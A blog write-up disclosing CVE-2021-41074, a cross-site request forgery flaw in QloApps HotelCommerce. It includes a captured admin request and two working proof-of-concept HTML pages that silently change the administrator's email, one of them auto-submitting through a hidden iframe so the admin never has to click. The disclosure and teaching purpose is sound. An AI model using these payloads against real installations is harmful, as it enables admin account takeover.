First off, I would like to thank Joe Helle (TheMayor) for his excellent medium article and his inspiration that this is possible, as well as Rana Khalil and her fantastic course teaching the technical side. If you get a chance to join either of their discords, I highly recommend it.

After reading TheMayor’s article, I said, “getting a CVE would be cool, but I don’t have the skill.” I know a lot of brilliant people who do not have CVEs. I am not trying to insinuate that you need a CVE in this cybersecurity industry to be successful. That is the beauty of this industry, and You can pick your path and do whatever you want with enough hard work. You don’t need a college degree or a certificate (it might make it easier but not required). About one month after Mayor’s article, Rana came out with her Cross-Site Request Forgery (CSRF) videos. I watched her SQL Injection theory video and was amazed at her ability to teach and convey complex, highly technical topics in an easy-to-digest way.

I decided to pick a hotel CMS/reservation system. I ended up picking HotelCommerce, developed by QloApps. The repo can be located here. I decided to go to the admin account and see if I could change the email via CSRF. Here is what the admin setting page looks like:

Admin Page

Admin page on Qloapps HotelCommerce.

As we can see, the email address is admin@admin.com. Let’s try to change it to not_admin@admin.com. Here is what the request looks like:

POST /admin329dim8ex/index.php?controller=AdminEmployees&token=788f52300367ed4bb79ce59b045262cc HTTP/1.1
Host: 192.168.33.202
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------319049647341882533633662196631
Content-Length: 1882
Origin: http://192.168.33.202
Connection: close
Referer: http://192.168.33.202/admin329dim8ex/index.php?controller=AdminEmployees&id_employee=1&conf=4&token=788f52300367ed4bb79ce59b045262cc
Cookie: PrestaShop-daf117f818c8eeecfa2bccccdd849a8c=cf49e61923cb6152516b796770834dbdc69ee5bd726b659ba1faa54a5ad2d218%3AOkJaxAb5YzVKzDgAVESXmVxtUvULs0SjUnvS2D79xSevZfFCUEiq0l6voICKPMFnectBiYM%2B8%2FU8AM15SfbVYlE3cu2VsHH0ji4PLTqYqfQ%2BnBabhHNAdbdyRG%2F%2BnRE%2BFJpNVE1wN5qRnSnummEq9w%3D%3D; PrestaShop-982ef6ed83d922bf6ce9ada599a2fd13=5d13d07f6590cf4f99d52d8b6fe68e887a515b5e3f08067dde2474cc26fa7e98%3AOkJaxAb5YzVKzDgAVESXmXJJoixVq00v8NAiWl3XGqzClRCsZja%2BLErxQ2wen2Q%2Fd5Feju8XALVAee9J9qyVP4nfQJVBhWDbfWMUXDGrRsdycr0T%2F6MNd61yasq1enfirVieHU5HuJ%2BiSeNGwIpEq15SvbV%2FPChuitghHNQc2THCsohyMwyBE2FpsktlTJJNy0waZ3tmy0QzimAtPbH2Ze30444VB3z87m%2FbdHkMquqhe6f5XA6dZEFlg%2F5e9aB0zrCdHi8GOku9ljHJt%2Bv2buxANgelPOT9meRRAIm7VymTU%2B9v6GwC0SywHhxdBMN%2F
Upgrade-Insecure-Requests: 1
-----------------------------319049647341882533633662196631
Content-Disposition: form-data; name="email"
not_admin@admin.com
(shortened for brevity)

We can see around line 34 the not_admin@admin.com. I don’t see any CSRF tokens or any SameSite cookies being set. After this, I used the burp CSRF POC generator.

Change Admin Email

Requests to change admin email.

Below is the Proof of Concept (POC) I sent to QloApps and used in my GitHub originally. It is a simple HTML page that asks for your first name and has you click submit.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/hotelcommerce-1.5.1/admin817ktdqdy/index.php?controller=AdminEmployees&token=22a1400c787d9df2147511ad66bcdcba" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="id&#95;employee" value="1" />
      <input type="hidden" name="submitAddemployee" value="1" />
      <input type="hidden" name="firstname" value="Firstname" />
      <input type="hidden" name="lastname" value="Lastname" />
      <input type="hidden" name="email" value="badguy&#64;gmail&#46;com" />
      <input type="hidden" name="old&#95;passwd" value="" />
      <input type="hidden" name="passwd" value="" />
      <input type="hidden" name="passwd2" value="" />
      <input type="hidden" name="passwd&#95;send&#95;email" value="on" />
      <input type="hidden" name="optin" value="1" />
      <input type="hidden" name="default&#95;tab" value="1" />
      <input type="hidden" name="id&#95;lang" value="1" />
      <input type="hidden" name="bo&#95;theme&#95;css" value="default&#124;admin&#45;theme&#46;css" />
      <input type="hidden" name="bo&#95;menu" value="0" />
      <input type="hidden" name="submitAddemployee" value="1" />
      <label for="firstname">Firstname:</label><br>
  	  <input type="text" id="first_name" name="first_name"><br>
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

HTML of the POC

Screenshot of the HTML used in the POC.

Updated Email

After clicking Submit Request on the HTML document we can see the email was updated.

It may be unreasonable to expect an admin to click on something so we can make this zero-click on the part of the admin. We can include an iframe and submit the form automatically in the background. The code would look something like this:

<html>
  <body>
    <h1>Hello Wolrd</h1>
  <script>history.pushState('', '', '/')</script>
     <iframe style="display:none" name="csrf-iframe"></iframe>
    <form action="http://192.168.33.202/admin329dim8ex/index.php?controller=AdminEmployees&token=788f52300367ed4bb79ce59b045262cc" method="POST" target="csrf-iframe" id="csrf-form" enctype="multipart/form-data">
      <input type="hidden" name="id&#95;employee" value="1" />
      <input type="hidden" name="submitAddemployee" value="1" />
      <input type="hidden" name="firstname" value="First" />
      <input type="hidden" name="lastname" value="Last" />
      <input type="hidden" name="email" value="not_admin2&#64;admin&#46;com" />
      <input type="hidden" name="old&#95;passwd" value="" />
      <input type="hidden" name="passwd" value="" />
      <input type="hidden" name="passwd2" value="" />
      <input type="hidden" name="passwd&#95;send&#95;email" value="on" />
      <input type="hidden" name="optin" value="1" />
      <input type="hidden" name="default&#95;tab" value="1" />
      <input type="hidden" name="id&#95;lang" value="1" />
      <input type="hidden" name="bo&#95;theme&#95;css" value="default&#124;admin&#45;theme&#46;css" />
      <input type="hidden" name="bo&#95;menu" value="0" />
      <input type="hidden" name="submitAddemployee" value="1" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

POC Auto Submit

POC with the auto submit.

With the auto-submit “feature,” it makes it a lot more dangerous because you would not know your email has been changed until you tried to log in with your email/password, and you cannot because the email has been changed (and possibly the password depending on the password reset protocol)

Github repo: https://github.com/dillonkirsch/CVE-2021-41074

Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41074